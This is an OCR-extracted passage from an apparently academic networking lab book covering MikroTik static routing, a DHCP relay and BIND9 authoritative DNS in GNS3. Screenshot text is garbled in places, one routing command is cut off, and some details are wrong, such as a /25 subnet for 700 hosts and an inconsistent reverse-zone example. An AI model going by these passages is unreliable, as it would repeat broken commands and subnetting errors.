Even though the routers know what networks are connected to them, they have no knowledge of the networks
that are not connected to them. Let's look at our current network.

RED-GATEWAY BLUE-GATEWAY
RED LAN P 2 BLUE LAN
115.20.20.0/24 O T E— N 68.110.45.0/ 24
¥ i
RED-DHCP RED-SWITCH BLUE-SWITCH BLUE-DHCP
«3 «3
« €«
PC1 PC2 PC3 pCa

Figure 15 - The current network

Ok, we are only concerned with one path, so let's simplify our diagram to the essentials.
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Red-PC Red-Switch Red-Router Blue-Router Blue-Switch Blue-PC

-3 () ) -3
« «
=4 -}‘«(- -)‘(- x4

Figure 16 - The current network simplified

The switches are unmanaged, so we don't even need them for this explanation. So we'll take those out, change

our routers to use color symbols, add the IP addresses, and label the simplified links, which takes our diagram
down to the essentials.

115.20.20.11 10.10.10.1 10.10.10.2

63.110.45.10
Red-PC Red-Router Blue-Router

Blue-PC

(] 2l 2T ]

— Link A ¥ Link B ¥ Link C =

Figure 17 - The current network even more simplified

Remember what a ping packet (ICMP) does: It sends a request to a target interface and asks that interface to
send it back to the originator.

When the Red PC pings the Red Router we can see the packets on Link A for both request and response.

Try it - Open a Wireshark capture for Link A. Then from the PC 1 console type ping 115.20.20.250

The Red Router knows that network 115.20.20.0 is connected to ether1 and sends the response.

Now when Red Router pings Blue Router we can see the packets on Link B for both request and response.

Try it - Open a Wireshark capture for Link B. Then from the Red Router console type ping 10.10.10.2

The Blue Router knows that network 10.10.10.0 is on ether2 and sends the response.

However, when Red PC pings the Blue Router, the Red Router forwards the packets to Blue Router, but when
Blue Router tries to send the response packets back to Red PC, it has no idea what interface to use to send packets
to network 115.20.20.0, so it never sends the responses.

Finally, when Red PC pings the Blue PC, it has no idea where to send the request packets, so it just throws up
its arms and tells us, “Nope. I'm out.”

We are going to fix this problem.

1. Stop the Wireshark captures (this saves our host machine’s resources)
2. Configure a static routing table on the Red subnet's router
2.1. Open the Red-Router console

2.2. Add a new static route to our Red-Router

> ip route add dst-address=68.110.45.0/24 gateway=10.10.10.2
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ip route add Add a new IPv4 route

dst-address=68.110.45.0/24 Any packet trying to go to the 68.110.45.0 network

gateway=10.10.10.2 Forward the packet to this destination interface

3. Configure a static routing table on the Blue subnet’s routers

3.1. Add a new static route to our Blue Router by navigating to the Blue Router Console and
typing

> ip route add dst-address=115.20.

4. Now navigate to PC1 and try to ping the Blue router or any Blue end device

|11 |icmp|

Source Destination Protocal  Info

115.26.208.11 68.118.45.11 IcMp Echo (ping) request
68.110.45.11 115.20.20.11 ICMP  Eche (ping) reply
115.28.28.11 68.118.45.11 ICMP Echo (ping) request
68.110.45.11 115.20.26.11 ICMP  Eche (ping) reply
115.20.208.11 68.118.45.11 ICMP Echo (ping) request
68.110.45.11 115.26.20.11 ICMP Echo (ping) reply

Figure 18 - ICMP ping working

Congratulations! You successfully implemented a basic network using static routing!

Phase V - Add a Green Subnet

You now have all the tools to build a LAN, add it to a network, and configure routers so that the LANs can send
packets back and forth. Time to try it on your own.

1. Create a Green LAN similar to our Red and Blue LANs
1.1. Use a randomly generated |Pv4 network address space
1.2. Use a network address that minimizes wasted IPs for 35 hosts

1.3. Ensure that it has two VPCS’s, one DHCP server, and one Ethernet switch
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2. Connect the Green subnet to the Red router
3. Configure the Red Router so the Green and Red LANs can ping each other
4. Configure the Blue Router so the Green and Blue LANs can ping each other

5. Label and organize your network as necessary

Subnet Red 115.20.20.0/24 Subnet Blue 68.110.45.0/24
RED-DHCP BLUE-DHCP

PC1 .254 PC4
@ Backbone 10.10.10.0/29 @

pc2 RED-ROUTER BLUE-ROUTER PC3

=9
:q
RED-SWITCH
PC5 GREEN-SWITCH

Subnet Green 13.101.33.0/26 6

GREEN-DHCP

Figure 19 - Green LAN added to the network example

End of Lab

Deliverables

4 screenshots are required to receive credit for this lab

«  Screenshot of GNS3 workspace with everything labeled
. Screenshot of Wireshark IMCP packets




STATIC ROUTING PART 1 409

o A Green device successfully pinging a Blue device

o A Green device successfully pinging a Red device

o ARed device successfully pinging a Blue device

Assignment 1 - Add two more LANSs to the Blue Router

+  Add a gray network to the Blue Router
+  Add a Purple network to the Blue Router

c RECOMMENDED GRADING CRITERIA
o Screenshot of GNS3 Workspace with all devices labeled
Green network is using randomly generated IP address
Grey network is using randomly generated IP address
o Wireshark Packet Captures
. Grey end device successfully pinging a Red end device
= Grey end device successfully pinging a Green end device

= Green end device successfully pinging a Red end device
=  Green end device successfully pinging a Blue end device
Assignment 2 - Add a new router and LAN
+  Add a third router and LAN to the GNS3 Workspace called Network Gray
*  The Grey LAN should use a randomly generated IP space
+  You will need to configure router interfaces for all routers using the backbone IP space

*  You will need to configure static routes for each router

+  RECOMMENDED GRADING CRITERIA
o Screenshot of GNS3 Workspace

Gray LAN is using randomly generated IP address space

o Wireshark PacketCaptures

Gray LAN device successfully pinging Red LAN device
. Gray LAN device successfully pinging Blue LAN device
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CHAPTER 22

Dynamic Host Configuration Protocol - MikroTik DHCP
Relay

MATHEW J. HEATH VAN HORN, PHD AND JACOB CHRISTENSEN

Typically, larger networks are segmented into smaller LANs. However, one concern that can arise from this is the
issue of distributing IP addresses across individual subnets. This is because DHCP discover packets are designed
to be broadcasted within local networks. While a network administrator could configure a dedicated DHCP server
for each LAN, we demonstrated in Static Networking Part 1 that this can quickly become tedious to configure and
maintain. Luckily, DHCP relays can be configured to re-transmit IP requests to remote servers. This way, one server
can lease addresses to multiple networks at once. In this chapter, we will configure a DHCP relay with a MikroTik
router to service two networks.
Estimated time for completion: 60 minutes

LEARNING OBJECTIVES

+ Create three functional LANs
o RED - PCs
o BLUE - PCs
o GRAY - DHCP Server
« Configure a router to serve as a functional DHCP relay

+ Configure a DHCP server successfully

PREREQUISITES

+ Chapter 16 - Introduction to Routers
+ Chapter 17 - IPv4 Addressing
+ Chapter 18 - DHCP using Linux

DELIVERABLES

+ Screenshot of GNS Workspace with labels

410
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+ Screenshot of Wireshark DHCP
o LAN1 end devices requesting and receiving IP addresses

o LAN2 end devices requesting and receiving IP addresses

RESOURCES

+ MikroTik RouterOS Documentation - “DHCP Relay” - https://wiki.mikrotik.com/wiki/Manual:IP/
DHCP_Relay

CONTRIBUTORS AND TESTERS

+ Dante A. Rocca, Cybersecurity Student, ERAU-Prescott

Phase | -Build the Network Topology

The following steps are to create a baseline environment for completing the lab. It makes assumptions about
learner knowledge from completing previous labs.
By the end of this lab your network should look like the following:

Gray 150.30.30.0/28

DHCP-SERVER

Red 100.10.10.0/24 Blue 200.20.20.0/25
PC1 PC3
RED-SWITCH BLUE-SWITCH
-> ->
« «
-t 4 e
PC2 PC4

DHCP-RELAY

Figure 1 - Final network environment

1. Start GNS3

1.1. Create a new project: LAB_08


https://wiki.mikrotik.com/wiki/Manual:IP/DHCP_Relay
https://wiki.mikrotik.com/wiki/Manual:IP/DHCP_Relay
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2. Build a small network will the following specifications:
2.1. Subnet - Red
2.1.1. One switch - Ethernet switch
2.1.2. Two client machines - VPCS

2.1.3. Minimize wasted address space for 250 hosts

Network 100.10.10.0
Netmask 255.255.255.0 (/24)
Broadcast 100.10.10.255
Gateway 100.10.10.1

DHCP Lower Bound 100.10.10.2

DHCP Upper Bound 100.10.10.254

2.2. Subnet - Blue
2.2.1. One switch - Ethernet switch
2.2.2. Two client machines - VPCS

2.2.3. Minimize wasted address space for 700 hosts

Network 200.20.20.0

Netmask 255.255.255.128 (/25)
Broadcast 200.20.20.127
Gateway 200.20.20.1

DHCP Lower Bound 200.20.20.2

DHCP Upper Bound 200.20.20.126

2.3. Subnet - Gray

2.3.1. One DHCP server - Ubuntu Server / Windows Server / Tiny Core / MikroTik CHR

NOTE: This example will use 150.30.30.5 as the server’s static IP address.

2.3.2. Minimize wasted address space for 10 hosts
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Network 150.30.30.0

Netmask 255.255.255.240 (/28)
Broadcast 150.30.30.15
Gateway 150.30.30.1

3. Add a MikroTik router to the workspace
3.1. Connect all three networks to the router

3.2. Configure the router with static IP addresses on all active interfaces (Chapter 16, Phase I,
Step 4)

NOTE: This example uses the following router ports:
- ether1 -> Red LAN
- ether2 -> Blue LAN
- ether3 -> Gray LAN

4. Label and organize your network as necessary

Gray 150.30.30.0/28

DHCP-SERVER

Red 100.10.10.0/24 Blue 200.20.20.0/25

PC3
RED-SWITCH BLUE-SWITCH
-
e
DHCP-RELAY PCca

Figure 2 - Final network topology
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Phase Il - Configure the Router as a DHCP Relay

Since the server is not in the same network as our clients, the router needs to serve as a relay point for the
“DHCP Discover” packets.

1. Setup the relay
1.1. Open the MikroTik console

1.2. Configure the Red subnet's relay path

> ip dhcp-relay add name=Red-Relay interface=etherl dhcp-

server=150.30.30.5 local-address=100.10.10.1 disabled=no

Command Description

ip dhcp-relay Access the DHCP relay menu.

add name=Red-Relay Name this group of configuration settings “Red-Relay”.
interface=ether1 Assign the ether1 interface to listen for DHCP requests.
dhcp-server=150.30.30.5 DHCP request packets will forwarded to 150.30.30.5.
local-address=100.10.10.1 DHCP response packets will arrive with the address 100.10.10.1.
disabled=no ;I'I’;gcciifigelt setting is to disable configurations unless otherwise

1.3. Configure the Blue subnet's relay path

> ip dhcp-relay add name=Blue-Relay interface=ether? dhcp-

server=150.30.30.5 local-address=200.20.20.1 disabled=no

NOTE: Don't forget to disable the DHCP client that is listening by default on ether1!

> ip dhcp-client remove 0

2. Verify that the router’s settings are configured properly (Figure 3)

ip address print

> ip dhcp-relay print



https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/networking-relay-figure3.png
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Phase Ill - Configure the Linux DHCP Server

We are going to configure our DHCP server in a similar fashion as we've done in previous labs.

Backing up your files...

ALWAYS MAKE A BACKUP! In the following section and the chapters going forward, rewriting configuration files
will be commonplace. Whether or not you are someone who makes mistakes, it is always good practice to make
backup copies of everything you change. When something goes wrong (and it will), you will be thankful for having

these.
Create a backup folder in your home directory:

> mkdir ~/backups

Verify the directory was created:

grep backups

Copy an existing file to the directory:

> cp /path/to/file/example.txt ~/backups

Verify the backup was made:

> 1s ~/backups

If you ever need to restore your backup:

> cp ~/backups/example.txt /path/to/file

1. Start the Ubuntu Server VM

2. Configure the server to have a static host address (Figure 4)

> sudo vi /etc/netplan/00-installer-config.yaml

> sudo netplan apply



https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/networking-relay-figure4.png
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NOTE: Ensure that the server's IP is NOT the same address as its gateway and is WITHIN the range of
available hosts for your subnet! Also, notice that the configuration provided includes the addition of a
default gateway. This is important for the server to know how to respond to DHCP request packets.
Check if you have a default route set in your server:

> ip route

ip route

.1 ¢ Enpc proto static
proto kernel scope link sec 150,30

Figure 5 - Server default gateway

The above image illustrates that the enpOs3 interface is assigned the address 150.30.30.5 on the
150.30.30.0/24 network with a gateway address pointing towards 150.30.30.1.

3. Modify the DHCP daemon configuration file to support all three subnets (Figure 6)

> sudo vi /etc/dhcp/dhcpd.conf

NOTE: Declare the Gray subnet. Although there are no clients to service here, it is good practice to
help the server understand the layout of our network.

4. Ensure that the daemon is enabled and active (Figure 7)

Phase IV - Connect Devices

With the router configured and the DHCP server running, all that is left is to connect devices to see if everything
works.

1. Start capturing packets on the PC1-Relay connection

1.1. In PC1's terminal, request a new IP address

NOTE: If using a Tiny Core VM, it should automatically request an IP address at startup.

1.2. Look for the DHCP broadcast packets on Wireshark (you should see the same packets
from when you completed the DHCP labs)


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/networking-relay-figure6.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/dhcp_relay_dhcpd_active.png
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1.3. You can check the VPCS's assigned IP address in its console

> show ip

1.4. If you want to see more traffic, just add more end devices or renew current leases
2. Repeat for the Blue clients

3. Ensure that all three subnets can ping each other and have full connectivity

PHASE V - TROUBLESHOOTING TIPS

There are many moving pieces in this lab and future labs. You might have to do some troubleshooting. Here
are some tips offered by our testers.

RTFQ (Read the “Full” Question): This trips up a lot of people. There are many devices, many IP addresses,
many different commands. Whether it be configuring Windows, Linux, or GNS3, it is easy to slip up. Read slowly
and the lab will work.

SERVER TROUBLESHOOTING: Testers have found that simply restarting the service resolved many of the
common errors you many encounter.

systemctl restart example.service

However, if a problem persists, you can check the logs for a more detailed explanation:

> journalctl -xeu example.service

> journalctl PID=1234

Obviously replace “example.service” and “1234" with the appropriate service name/process identifier of the
daemon you are trying to troubleshoot.

TYPOS: From personal experience, most errors have typically stemmed from hard-to-catch typos. For example,
subnet looks a lot like subent at a glance. Step away and come back later with a fresh mind.

MISCONFIGURED IP ADDRESSES: Does ping not work? Try not to get frustrated. Check, double check, and
triple check that your IP addresses and subnet masks all make senselll Remember, no client can have an IP
address ending in “.0” and no two machines can have the same addresses. Also, ensure that the addresses you
are assigning to your hosts are within the range of your subnet! A /29 network cannot accommodate for the same
number of machines as a /24 network.




418 MATHEW J. HEATH VAN HORN, PHD

REBOOT: If all else fails, try rebooting the system. GNS3, VirtualBox, and different OSs can really tax your bare-
metal host machine. Sometimes a reboot can help clear up an odd issue.

MOST IMPORTANTLY... do not skip over errors. Read them carefully. If things are not working as they are
supposed to, go back to a previous lab where you were successful and think about how you were able to make it
work previously.

End of Lab

Deliverables

Three screenshots are required to receive credit for this exercise

+  Screenshot of GNS Workspace with all equipment labeled

. Screenshot of Wireshark DHCP

o LAN1 end devices requesting and receiving IP addresses

° LAN2 end devices requesting and receiving IP addresses

Assignment 1 - Add another network

. Use a randomly generated |P address space

*  Minimize wasted address space for 500 hosts

+  Connect it to the Relay

. Make sure to change the router settings and DHCP server appropriately
. Label and organize your network as necessary

c RECOMMENDED GRADING CRITERIA

o Screenshot of GNS3 environment with every device labeled
o Screenshot of Wireshark showing DHCP handshake from a device on the new network

o Screenshot of the updated DHCP daemon configuration file

Assignment 2 - Add two networks

+  Same as Assignment 1 but with two networks
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List of Figures for Print Copy

[admin@ 1 » ip address
Columnz: ADDRESS. METHWORK. INTERFACE

"Take M. Christensen'

addr
=

- To: default
wig: 150.30.30

yersion

Figure 4 - /etc/netplan/00-installer-config.yaml file
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# Blue
# —

subnet .
option routers
option su

ion br

Figure 6 - /etc/dhcp/dhcpd.conf file
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UTC; 9min ago

~sdhcpd.pid —of Setocsdhy

[156

cpd [1561] :

Figure 7 - DHCP server is up
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CHAPTER 23

Domain Name System Part 1- Authoritative DNS

JACOB CHRISTENSEN

In previous labs, communication between devices was verified via pinging IP addresses. With the addition of a
Domain Name System (DNS) server to our network, these computers can be referenced by a more human-friendly

name rather than a hard-to-remember string of numbers.

This lab will demonstrate the configuration and implementation of a basic primary authoritative (local) DNS

server for multiple LANSs.
Estimated time for completion: 60 minutes

NOTE: There is a large amount of explaining in this lab. Sometimes the dot “." has different meanings
depending on where it is located:

*  Anoctet separator as in 8.8.8.8
+  Adomain name separator as in red.net

. A Fully Qualified Domain Name (FQDN) indicator as in red.net.

+  Asaseparator between ideas. Idea one. Idea two. Idea three

Experienced cyber operators understand the context of the dot placement and apply its meaning
appropriately. Beginners may get confused. Therefore when testers reported confusion we added brackets
around the dots to enhance clarity. e.g. in the following examples the domain name separator dots are placed in
brackets

e.g. 80[.130[.]89[.lin-addr[.]arpa. - Ends in a dot denoting a FQDN
e.g. 80[.]30[.189[.]in-addr[.]Jarpa - Does not end in a dot denoting it is not a FQDN

LEARNING OBJECTIVES

+ Learn how DNS works on an enterprise network

+ Demonstrate how to configure zone files

PREREQUISITES

* One (1) Ubuntu Server VM with Bind9 installed (created in Chapter 7)

422
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+ Three (3) Tiny Core Linux VMs (created in Chapter 5)

DELIVERABLES

+ Screenshot of the GNS3 working environment
+ Screenshot of PC1 successfully forward resolving the details of PC2
+ Screenshot of PC1 successfully reverse resolving the details of PC3

+ Screenshot of PC3 successfully pinging PC2 by name instead of IP

RESOURCES

+ BIND9 Administrator Reference Manual - https://bind9.readthedocs.io/en/v9.18.16/
+ MikroTik RouterOS Documentation - https://help.mikrotik.com/docs/display/ROS/RouterOS

CONTRIBUTORS AND TESTERS

+ Mathew J. Heath Van Horn, PhD, ERAU-Prescott
+ Kyle Wheaton, Cybersecurity Student, ERAU-Prescott

Phase | - Building the Network Topology

The following steps are to create a baseline network for completing this chapter. It makes assumptions about
learner knowledge from completing previous labs.



https://bind9.readthedocs.io/en/v9.18.16/
https://help.mikrotik.com/docs/display/ROS/RouterOS
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L'ed.net.
89.30.80.32/29

blue.net.
192.1658.5.0/24

SWITCH

PC1 PC2 PC3
l102 102 l103

Figure 1 - The environment we are building

1. Preliminary step in VirtualBox

1.1. Create/clone 3 TinyCore virtual machines

NOTE: For easy reference you can name them PC1, BLUET1, etc.

1.2. Create/clone a fresh copy of the Linux Server VM with BIND9 installed

2. Start GNS3
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2.1. Create a new project: LAB_09
2.2. Add the VMs created in Step 1 (Chapter 6)
3. Build a subnet - blue.net - with the following specifications:
3.1. Use a randomly generated IPv4 network address space
3.2. Use a network address that minimizes wasted IPs for 250 hosts

3.3. Three client machines - Tiny Core Linux

NOTE: You may use GNS3's VPCS instead of Tiny Core, but this is not recommended since
they do not have the tools dig or nslookup installed. These are tools that are necessary to
help troubleshoot DNS. Furthermore, you may need to flush DNS caches to reliably see the
Wireshark traffic. It is just easier to use Tiny Core end-user devices from the beginning.

3.4. One Switch - Ethernet switch

3.5. Label each Tiny Core client with the static IP address

NOTE: This example uses the following IPv4 addresses:
- Network: 192.168.5.0/24
- Gateway: 192.168.5.1
- PC1:192.168.5.101
- PC2:192.168.5.102
- PC3:192.168.5.103

4. Build a second subnet - red.net - with the following specifications:
4.1. Use a randomly generated IPv4 network address space
4.2. Use a network address that minimizes wasted IPs for 5 hosts

4.3. One DNS server - Ubuntu Server (NS1) with the static IP set

NOTE: the netplan configuration file will always be a .YAML file, however, the name may
change between releases or user modifications. This screenshot is using a Ubuntu 22.04.X LTS
.YAML file. Adjust as necessary.

NOTE: This example uses the following IP addresses:

- Network: 89.30.80.32/29

425



426 MATHEW J. HEATH VAN HORN, PHD

- Gateway: 89.30.80.33
- NS1:89.30.80.35

network:

addre
89.30.80.35/29
routes:

to: default

via: 89.30.80.33

version:

Figure 2 - NS1 static IP configuration file

5. Add a MikroTik router to the workspace
5.1. Connect both networks to the router

5.2. Configure the router with static IPs on all active interfaces

NOTE: This example uses the following IP addresses:
- ether1 - 89.30.80.33/29
- ether2 - 192.168.5.1/24

6. Label and organize your network as necessary. When complete it should look like Figure 1
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red.net.

89.30.80.32/29

NS51 ROUTER

blue.net.

192.168.5.0/24 {_-}

SWITCH

PC1 PC2 PC3
l101 |102 103

Figure 1 - The environment we are building

NOTE: Notice the addition of [.Jnet in our labels. These will be our local domain names for each subnet.

Phase Il - Configuring the Tiny Core Linux Clients

Before we can map static DNS entries in our server, we must give our clients static IP addresses and hostnames.
If you are not using Tiny Core (or already know how to do this with a different method) skip this section.

1. Configure the first client PCT

1.1. Navigate to PC1's console
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1.2. Modify the system startup script to execute the sethostname binary on boot

NOTE: vi is the only text editor installed by default in Tiny Core.

> vi /opt/bootsync.sh

1.2.1. Modify the /usr/bin/sethostname line and replace box with PC1

/usr/bin/sethostname PC1

T binssh

it put other system startup commands here, the boot process will wait until they
t Use bootlocal.sh for system startup commands that can run in the background

t and therefore not slow down the boot process.

usr-binssethostname PC1

opts/bootlocal.sh &

Figure 3 - Setting static IP for PC1

1.2.2. Save (write) and exit the editor
1.3. Configure the first user with a static IP address (192.168.5.101)

1.3.1. Modify the local startup script to include our custom interface configuration by
typing

> vi /opt/bootlocal.sh

1.3.2. Add the following items to the startup script

1.3.2.1. Kill the DHCP client program

pkill udhcpc

1.3.2.2. Set the static IP address, netmask, and broadcast address for the
eth0 interface

ifconfig ethO 192.168.5.101 netmask 255.255.255.0

broadcast 192.168.5.255 up
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1.3.2.3. Add a default gateway pointing to the router’'s inward-facing interface

route add default gw 192.168.5.1

1.3.2.4. Add the local domain name blue.net to the local DNS configuration
file

echo “domain blue.net” > /etc/resolv.conf

1.3.2.5. Append the address for the primary nameserver (NS1) to the local
DNS configuration file

echo “nameserver 89.30.80.35” >> /etc/resolv.conf

1.3.2.6. Use Figure 4 for configuration reference

ittt binssh
put other system startup commands here
pkill wdhcpc
ifconfig ethO 192.168.5.101 netmask Z55.Z55.255.0 broadcast 192.168.5.Z55 up
route add default gw 192.168.5.1
echo "domain blue.net" > retcs/resolv.conf
echo "nameserver 89.30.80.35" »> retcs/resolv.conf

Figure 4 - Startup script modifications

1.3.2.7. Save and exit the editor

1.3.3. Reboot the machine to apply the changes

> sudo reboot

1.3.4. Verify that the changes went into effect

> ifconfig
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c@PC1:”S ifconfig
etho Link encap:Ethernet HWaddr 08:00:27:11:93:42
inet addr:192.168.5.101 Bcast:192.168.5.255 Mask:255.255.255.0

UP BROADCAST RUNNING MULTICAST HMTU:1500 Metric:1

RX packets:0 errors:@ dropped:@ overruns:@ frame:0@
Tx packetsz:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0@ txqueuelen:1000

RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

Figure 5 - Checking to see if the settings took effect

2. Repeat Step 1 above for Tiny Core clients (PC2 and PC3)

3. Ensure full network connectivity by pinging all the devices from PC1 before continuing to the next

section

Phase Il - Configuring the Authoritative DNS Server

When you built the Linux server VM for the first time, the software BIND9 should have been installed along with
additional utilities and services. Berkley Internet Name Domain, or BIND, is the most popular software suite for
interacting with the DNS protocol on Linux systems. If it is not installed, you'll have to do that now.

1. Start ns1.red.net and login

2. Modify the machine’s hostname to ns1

2.1. Open the terminal and assign a new permanent device name using Systemd’s
hostnamectl binary

> sudo hostnamectl hostname nsl

NOTE: You can check the hostname in Linux by typing

> hostname

2.2. Add the new name in the hosts file in the /etc directory to prevent name resolution

conflicts

> vi /etc/hosts
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0.0.1 localhost
.1 nsl # <-- new hostname 1s bound with localhost
# addres

 following lines are desirable for IFve capable hosts

Figure 6 - Modlifying the /etc/hosts file to prevent resolution conflict in the future

NOTE: If you notice that commands executed with sudo have slowed to a crawl, you may
have forgotten to do this step.

2.3. Reboot the machine to apply changes

3. Assign a static IP address, default gateway, primary DNS server, and local domain name

3.1. Configure the server’s netplan YAML file

> sudo vi /etc/netplan/00-installer-config.yaml
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e network config weitten by 'Jake M. Christensen’
# 2 .30
netwar
ethe

=1

default

- red.net

version

Figure 7 - Modlifying the YAML again

3.2. Apply the new configuration

> netplan apply

3.3. Verify that the IP address was established

> ip route

Figure 8 - Verifying the IP route was successfully established

3.4. Verify that the nameserver information is correctly pointing towards itself (127.0.0.1) and
that the current domain is red[.]net

> resolvectl status
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:7F resolvectl status

Frotocols: -LLHMWNE -mDN3S -DMS0werTLS Dk C=nosunsupported

faultRoute +LLMMRE -mDMS -DMS0werTLS D =nosunsupported
1

iakodns1

Figure 9 - Verifying that the nameserver information is correct

4. Stop and disable Systemd’s time synchronization daemon to avoid unnecessary DNS traffic

> systemctl stop systemd-timesyncd.service

> systemctl disable systemd-timesyncd.service

5. Open the DNS daemon configuration file using any text editor you prefer

> vi /etc/bind/named.conf.options

5.1. At the start of the file, before the options directive, add the following access control list
(ACL)

= May dCCeE== . SBT '|_|'j_I:ZEf

¢ localhost
localnet (red.net.)
¢ blue.net.

Figure 10 - The addition of ACLs to the configuration file

NOTE: ACLs are important for preventing unauthorized access to machines or services. In
this case, all subnets can use this server for DNS queries, however, clear specification is always
good practice.
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5.2. In the same file, add the following commands in the options directive

rver configuration paramete

options

"ot currently

able no;

labnets

allow-gl
allouw-r
allou-tr

Figure 11 - Adding options to the same configuration file

directory "svar/cache.

ailable';

modify them as you see fit

NOTE: There may already be configuration options here by default. Feel free to delete or

Command Description
Specifies the version number of the BIND9 server to return in

version response to a version query. Official BIND9 documentation
suggests that this be set to “not currently available” to avoid
detailed service enumeration from threat actors.

recursion Defines whether recursion ( and caching of queries as a result of

recursion) are allowed.

empty-zones-enable

Enables or disables all empty zones. Setting to “no”, allows the
mapping of private IP addresses to hostnames (such as
192.168.x.x) if they are used on the network. By default, this is set
to "yes”.

allow-query

Defines which networks, if any, are allowed to query its service.

allow-query-cache

Defines which networks, if any, are allowed to query cached
domains.

allow-recursion

Defines which networks, if any, are allowed to access recursion
services on the server.

dnssec-validation

Defines whether DNS validation is enabled.

listen-on

Defines which ports and addresses to listen on and respond to
DNS queries.

5.3. Save (write) and exit the editor
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5.4. Verify that the file was configured correctly

> named-checkconf /etc/bind/named.conf.options

NOTE: No response indicates that no errors were detected. Otherwise, read the error
carefully and fix syntax as necessary.

6. Modify the service zone configuration file to specify the domains our server will have authority over

> vi /etc/bind/named.conf.local

NOTE: Two types of zones must be created for each domain: forward lookup zones and reverse
lookup zones. The former translates domain names to IP addresses while the latter does... the reverse.
AKA, IP addresses to domain names.

6.1. Add the following forward lookup zones to the configuration file

'/ FORWARD ZONE FOR RED.MET.

Jlibsbindsdb.red.net';

ZONE FOR BLUE.NET,

type i
~ file "/va slibshind/db.blue.net';

i

Figure 12 - Add forward lookup zones for red and blue networks

NOTE: Notice how the zone declarations end with a dot [.]. This is a fully qualified domain
name (FQDN). Make sure to pay special attention when FQDNSs are being used going forward.
Forgetting to include the period is an easy typo, but it can cause a major headache when
debugging later.

Command Description

zone FQDN of the domain the server will have authority over.
tvpe Declares whether this machine is the primary (master) or
yp secondary (slave) server for this zone.

file Declares the location of the database file for this zone.
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6.2. In the same file, add the following reverse lookup zones

ZOME FOR RED.MET.
1, in-addr.arpa."

siihfhiﬂdfdh.red.ﬂet.reu';

|E FOR BLLE.MET.
.in-addr.arpa."

Alibshindsdb.blue.net.rev';

Figure 13 - Add reverse lookup zones for the red and blue networks by IP addresses

NOTE: Notice how the first tree octets in the zone declaration are inLITTLE ENDIAN order.
This is known as a reverse ARPA address. Make sure to double-check everything for typos. In
reverse ARPA addresses, you only need to declare the octets that will be static. For instance,
the correct syntax for the network 176[.]55[.]0[.]0/20 would be 55[.]176[.]in-addr[.]arpal.]
since host addresses can range from 176[.]155[.]0[.]1 to 172[.]55[.]15[.]254. Because this CIDR
mask allows for such a large range of host addresses, the third octet can vary in value, so its
reverse ARPA address must be adjusted in response.

Little Endian vs Big Endian

Endian can be confusing to people who have never programmed computer memory space.

It means which end of a number goes first. Remember back to second grade, numbers have
aone'’s place, ten’s place, hundred'’s place, etc...
Little Endian - Write the number starting at the little end (the one’s place).
Big Endian - Write the number starting at the big number (the highest number place).
Computer memory and programs use First In First Out (FIFO) and First In Last Out (FILO)
mechanisms for various reasons. Reasons that are beyond the scope of these labs. It is
enough to know that FIFO and FILO exist, making Endian notation necessary.
SIMILE TIME: Endian is like a crowded elevator with two doors; front and back. The
following people enter the elevator from the front doors.
- Miracle (Enters first, stands at the back of the elevator)
- Maribel
- Scott
- Rory
- Halle
- Lucian (Enters last, stands at the front of the elevator)
If they travel to the 5th floor, the front doors open and Lucian will exit the elevator first and
Miracle will exit the elevator last (FILO).
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However, if they travel to the 6th floor, the rear doors open and Miracle will exit the elevator
first and Lucian will exit the elevator last (FIFO).

Now, let's say the people must exit the elevator in a particular order, so the usher needs to
know which order to have the folks enter the elevator. The usher knows that the 5th and 6th
floors open differently, so when the ordered list is prepared, the usher will use Little Endian
notation for the 5th floor or Big Endian notation for the 6th floor.

Back to computers: Using an IP in Endian notation. We can say our PC has an IP address of
192.168.1.5 so that translates to:

- Big Endian Notation 192.168.1.5
- Little Endian Notation 5.1.168.192

6.3. Save and exit the configuration file editor

6.4. Verify the file was configured correctly using the following command

> named-checkconf /etc/bind/named.conf.local

NOTE: Again, no response indicates that no errors were detected. Otherwise, fix file syntax
as necessary. Pay attention to FQDNSs.

Phase IV - Configure Zone Resource Record (RR) Files

Each zone specified in the previous section needs a dedicated database to store domain information. Several

have already been provided in the /etc/bind directory. The database files can be identified by the ones starting
with “db” (database) and are loaded in the “named.conf.default-domains” configuration file. We can use these as a
starting point for making our own RR files.

1. Create a new forward data file for the Red subnet

1.1. View the contents of the bind directory to see what database files are available

> 1s -1 /etc/bind

1.2. Copy any db file of your choice

> cp /etc/bind/db.empty /var/lib/bind/db.red.net
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NOTE: Ensure the renamed file matches the one specified in Phase Ill when we declared
our zones. We used:
db.red.net
db.blue.net

1.3. Configure the newly created file to act as the Red subnet's forward lookup data file

> vi /var/lib/bind/db.red.net

1.3.1. Rename the comment at the start of the file to reflect its new purpose

NOTE: In these files, the semicolon denotes a note instead of a command.

; BINDY9 forward data file for red.net.

1.3.2. Below $TTL, add the following directive

SORIGIN red.net.

NOTE: This will append the base domain name to any domain that is not
terminated with a dot [.]. For example, the string ns1 will be interpreted as
ns1[.Jred[.]net[.]. Conversely, the string ns1[.] will be read as only ns1[.]. This is why
paying attention to FQDNs is important, for strings such as ns1[.Jred[.]Jnet (without
the terminating dot) will be read as ns1[.Jred[.]net[.]red[.]Inet[.] by the server.

1.3.3. In the Start of Authority (SOA) declaration, overwrite the local host information
with the master DNS server domain

nsl.red.net. hostmaster.red.net. (

1.3.4. Increment the Serial value by one

; Serial
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NOTE: Whenever this file is edited in the future, the serial number should be
incremented again.

1.3.5. Leave the Refresh/Retry/Expire/Negative Cache TTL values as their defaults for
now

1.3.6. Replace the current name server (NS) entry with all available domains (in this
case, there is only one server)

nsl.red.net.

1.3.7. Since we only have one device in the Red zone, we need to map it with its static
layer 3 internet (IN) address (A)

89.30.80.35

1.3.8. Save the file and exit the editor

1.3.9. Use this image for configuration reference

red.net.

S0 {

) . Negative Cache TTL

nsl.red.net.

Figure 14 - Configuring the forward data file for red.net.

1.4. Verify that the file was configured correctly and correct any errors as necessary



440 MATHEW J. HEATH VAN HORN, PHD

> named-checkzone red.net. /var/lib/bind/db.red.net

2. Create a new reverse data file for the Red subnet

2.1. Copy any db file of your choice

> cd /var/lib/bind

> cp db.red.net db.red.net.rev

NOTE: We recommend the new file name ends with [.Jrev to quickly identify it as a reverse
lookup database file.

2.2. Open the new reverse data file with any text editor

> vi /var/lib/bind/db.red.net.rev

